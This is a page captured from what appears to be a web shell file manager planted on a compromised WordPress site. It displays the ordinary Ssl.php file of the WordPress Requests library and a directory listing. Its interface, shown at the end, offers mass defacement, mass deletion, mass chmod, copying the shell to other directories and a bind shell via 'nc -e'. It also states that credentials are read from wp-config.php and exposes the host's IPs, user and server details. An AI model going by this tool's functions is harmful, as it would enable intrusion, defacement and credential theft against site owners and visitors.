WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / allgauhupfer / wp-includes / Requests / src / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/allgauhupfer/wp-includes/Requests/src/Ssl.php (5.3 KB)
<?php
/**
 * SSL utilities for Requests
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * SSL utilities for Requests
 *
 * Collection of utilities for working with and verifying SSL certificates.
 *
 * @package Requests\Utilities
 */
final class Ssl {
	/**
	 * Verify the certificate against common name and subject alternative names
	 *
	 * Unfortunately, PHP doesn't check the certificate against the alternative
	 * names, leading things like 'https://www.github.com/' to be invalid.
	 *
	 * @link https://tools.ietf.org/html/rfc2818#section-3.1 RFC2818, Section 3.1
	 *
	 * @param string|Stringable $host Host name to verify against
	 * @param array $cert Certificate data from openssl_x509_parse()
	 * @return bool
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $host argument is not a string or a stringable object.
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $cert argument is not an array or array accessible.
	 */
	public static function verify_certificate($host, $cert) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		if (InputValidator::has_array_access($cert) === false) {
			throw InvalidArgument::create(2, '$cert', 'array|ArrayAccess', gettype($cert));
		}

		$has_dns_alt = false;

		// Check the subjectAltName
		if (!empty($cert['extensions']['subjectAltName'])) {
			$altnames = explode(',', $cert['extensions']['subjectAltName']);
			foreach ($altnames as $altname) {
				$altname = trim($altname);
				if (strpos($altname, 'DNS:') !== 0) {
					continue;
				}

				$has_dns_alt = true;

				// Strip the 'DNS:' prefix and trim whitespace
				$altname = trim(substr($altname, 4));

				// Check for a match
				if (self::match_domain($host, $altname) === true) {
					return true;
				}
			}

			if ($has_dns_alt === true) {
				return false;
			}
		}

		// Fall back to checking the common name if we didn't get any dNSName
		// alt names, as per RFC2818
		if (!empty($cert['subject']['CN'])) {
			// Check for a match
			return (self::match_domain($host, $cert['subject']['CN']) === true);
		}

		return false;
	}

	/**
	 * Verify that a reference name is valid
	 *
	 * Verifies a dNSName for HTTPS usage, (almost) as per Firefox's rules:
	 * - Wildcards can only occur in a name with more than 3 components
	 * - Wildcards can only occur as the last character in the first
	 *   component
	 * - Wildcards may be preceded by additional characters
	 *
	 * We modify these rules to be a bit stricter and only allow the wildcard
	 * character to be the full first component; that is, with the exclusion of
	 * the third rule.
	 *
	 * @param string|Stringable $reference Reference dNSName
	 * @return boolean Is the name valid?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed argument is not a string or a stringable object.
	 */
	public static function verify_reference_name($reference) {
		if (InputValidator::is_string_or_stringable($reference) === false) {
			throw InvalidArgument::create(1, '$reference', 'string|Stringable', gettype($reference));
		}

		if ($reference === '') {
			return false;
		}

		if (preg_match('`\s`', $reference) > 0) {
			// Whitespace detected. This can never be a dNSName.
			return false;
		}

		$parts = explode('.', $reference);
		if ($parts !== array_filter($parts)) {
			// DNSName cannot contain two dots next to each other.
			return false;
		}

		// Check the first part of the name
		$first = array_shift($parts);

		if (strpos($first, '*') !== false) {
			// Check that the wildcard is the full part
			if ($first !== '*') {
				return false;
			}

			// Check that we have at least 3 components (including first)
			if (count($parts) < 2) {
				return false;
			}
		}

		// Check the remaining parts
		foreach ($parts as $part) {
			if (strpos($part, '*') !== false) {
				return false;
			}
		}

		// Nothing found, verified!
		return true;
	}

	/**
	 * Match a hostname against a dNSName reference
	 *
	 * @param string|Stringable $host Requested host
	 * @param string|Stringable $reference dNSName to match against
	 * @return boolean Does the domain match?
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When either of the passed arguments is not a string or a stringable object.
	 */
	public static function match_domain($host, $reference) {
		if (InputValidator::is_string_or_stringable($host) === false) {
			throw InvalidArgument::create(1, '$host', 'string|Stringable', gettype($host));
		}

		// Check if the reference is blocklisted first
		if (self::verify_reference_name($reference) !== true) {
			return false;
		}

		// Check for a direct match
		if ((string) $host === (string) $reference) {
			return true;
		}

		// Calculate the valid wildcard match if the host is not an IP address
		// Also validates that the host has 3 parts or more, as per Firefox's ruleset,
		// as a wildcard reference is only allowed with 3 parts or more, so the
		// comparison will never match if host doesn't contain 3 parts or more as well.
		if (ip2long($host) === false) {
			$parts    = explode('.', $host);
			$parts[0] = '*';
			$wildcard = implode('.', $parts);
			if ($wildcard === (string) $reference) {
				return true;
			}
		}

		return false;
	}
}
namawaktuukuranownerpermaksi
..
Auth/ 2026-02-23 19:412.48 KB 76129f60960:kundendxwrx-rx-r
Cookie/ 2026-02-23 19:414.26 KB 76129f60960:kundendxwrx-rx-r
Exception/ 2026-02-23 19:4121.94 KB 76129f60960:kundendxwrx-rx-r
Proxy/ 2026-02-23 19:414.12 KB 76129f60960:kundendxwrx-rx-r
Response/ 2026-02-23 19:413.03 KB 76129f60960:kundendxwrx-rx-r
Transport/ 2026-02-23 19:4134.64 KB 76129f60960:kundendxwrx-rx-r
Utility/ 2026-02-23 19:417.01 KB 76129f60960:kundendxwrx-rx-r
Auth.php 2026-02-23 19:41860 B 76129f60960:kunden-xw-x-----
edt
Autoload.php 2026-02-23 19:419.12 KB 76129f60960:kunden-xw-x-----
edt
Capability.php 2026-02-23 19:41652 B 76129f60960:kunden-xw-x-----
edt
Cookie.php 2026-02-23 19:4115.03 KB 76129f60960:kunden-xw-x-----
edt
Exception.php 2026-02-23 19:411.09 KB 76129f60960:kunden-xw-x-----
edt
HookManager.php 2026-02-23 19:41709 B 76129f60960:kunden-xw-x-----
edt
Hooks.php 2026-02-23 19:412.96 KB 76129f60960:kunden-xw-x-----
edt
IdnaEncoder.php 2026-02-23 19:4112.14 KB 76129f60960:kunden-xw-x-----
edt
Ipv6.php 2026-02-23 19:415.51 KB 76129f60960:kunden-xw-x-----
edt
Iri.php 2026-02-23 19:4128.93 KB 76129f60960:kunden-xw-x-----
edt
Port.php 2026-02-23 19:411.47 KB 76129f60960:kunden-xw-x-----
edt
Proxy.php 2026-02-23 19:41867 B 76129f60960:kunden-xw-x-----
edt
Requests.php 2026-02-23 19:4133.2 KB 76129f60960:kunden-xw-x-----
edt
Response.php 2026-02-23 19:414.18 KB 76129f60960:kunden-xw-x-----
edt
Session.php 2026-02-23 19:418.89 KB 76129f60960:kunden-xw-x-----
edt
Ssl.php 2026-02-23 19:415.3 KB 76129f60960:kunden-xw-x-----
edt
Transport.php 2026-02-23 19:411.51 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/allgauhupfer/wp-includes/Requests/src
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK